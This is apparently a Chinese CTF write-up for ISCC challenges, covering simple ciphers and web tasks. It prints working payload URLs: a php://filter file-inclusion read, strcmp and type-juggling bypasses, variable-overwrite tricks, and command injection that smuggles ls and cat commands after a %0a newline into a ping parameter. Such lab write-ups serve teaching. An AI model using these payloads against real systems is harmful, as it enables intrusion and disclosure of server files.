ISCC WP
Misc
What is that?
图片隐写给了一张这个图
然后看手指指的地方应该就是flag 改高度
IHDR后的前八个字节为宽度(第二排00 00 02 72),接下来八个为高度,将高度改为和宽度一样得到flag
秘密电报
给了一个txt内容是:
秘密电报:
知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA
刚开始以为是摩斯密码结果没有分割符,直接复制百度,是培根密码然后在线解密得到flag
凯撒十三世
凯撒十三世在学会使用键盘后,向你扔了一串字符:“ebdgc697g95w3”,猜猜它吧。
一看题目肯定有凯撒密码,移位13得到roqtp697t95j3,然后是学会使用键盘,应该是键盘加密,刚开始以为是围成什么图案或者是围起来的字母,后面发现按键盘往下移一排就是flag
得到flag:yougotme
Web
比较数字大小
前端代码控制的直接浏览器改一下maxlength就好了,客户端的限制一般都很好过1
<input maxlength="3" name="v" type="text">
web01
1 |
|
PHP的strcmp漏洞,另一篇博客里面有,传个数组就可以get flag
本地的诱惑
burp抓包改一下XFW或者HOST就可以了
你能跨过去吗?
callback的后面有一串url和base64的编码,把base64那部分解码出来1
2ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA
<script>alert("key:/%nsfocusXSStest%/")</scrip
中间的key部分就是答案,我还一直在那里测xss测了半天,没想到这么坑,而且提交的时候只用key冒号后面的内容
一切都是套路
Tip:好像有个文件忘记删了
可以想到是后台文件没删或者源码泄露,扫了下后台,试了下svn都没收获。然后py了一下原来是没删txt文件,直接输入http://118.190.152.202:8009/index.php.txt就可以读源码了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
include "flag.php";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");
if (!isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $k => $v){
$$k = $$v;
}
foreach ($_POST as $k => $v){
$$k = $v;
}
if ( $_POST["flag"] !== $flag )
die($_403);
echo "flag: ". $flag . "\n";
die($_200);
1 | foreach()是数组的迭代方法 |
分析源码,$flag应该是flag.php中的变量就是所找的答案,而最后的一个if语句执行判断,POSTflag后echo出flag,可以通过foreach的变量覆盖绕过,而要得到flag就需要从另一个输出点输出原本的flag变量。
为了方便理解我们在本地修改源码将变量值打印出来
payload1:
可以看出第一个foreach里将\$flag的值赋给了\$_200,第二个foreach将上传的flag值赋给\$flag,从而通过后面的if判断,然后die(\$_200)输出flag内容。
payload2:
第二种将\$flag的值赋给了\$_403,同时给\$_POST赋一个值使if判断成立输出\$_403,如果只给403赋值的话效果如下
你能绕过吗?
刚开始看到ID以为是SQL注入,看到f=articles才反应过来读取本地文件应该是文件包含吧(之后应该找个时间总结一下文件包含和php伪协议,挖坑ing)
然后用php://协议
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:1
2
3readfile("php://filter/read=convert.base64-encode/resource=php://input");
# payload
http://118.190.152.202:8008/index.php?f=Php://filter/read=convert.base64-encode/resource=index&id=1
然后base64解码得到1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<!DOCTYPE html>
<html lang="en">
<head>
<title>?????????</title>
<meta charset="UTF-8">
</head>
<body>
<a href='index.php?f=articles&id=1'>ID: 1</href> </br> <a href='index.php?f=articles&id=2'>ID: 2</href> </br> <a href='index.php?f=articles&id=3'>ID: 3</href> </br> <a href='index.php?f=articles&id=4'>ID: 4</href> </br> </body> </html>
<?php #ISCC{LFIOOOOOOOOOOOOOO}
if(isset($_GET['f'])){
if(strpos($_GET['f'],"php") !== False){
die("error...");
}
else{
include($_GET['f'] . '.php');
}
}
?>
web02
跟前面的一道比较类似吧,不过这道加X-Forward-For似乎没有用,加了client-ip后得到flag
Please give me username and password!
按提示随便传个用户名和密码
然后看注释又是index.php.txt,然后读源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
分析一下,username还是用的strcmp判断的,然后password要求长度<4且数值>999,所以payload1
http://118.190.152.202:8017/?username[]='admin'&password=9e9
请ping我的ip 看你能Ping通吗?
开始完全不知道该怎么做,还是太菜了呀,py过后
在get方式下命令执行,过滤| 使用%0a绕过
查看当前目录http://118.190.152.202:8018/index.php?ip=118.190.152.202%0als
查看源代码http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acat%20index.php
1 | '', |
查看根目录http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acd%20../../../%0als
一个一个试查看flag在哪里 发现flag在/home/flag
http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acd%20../../../%0acd%20home%0als
http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acd%20../../../%0acd%20home%0acat%20flag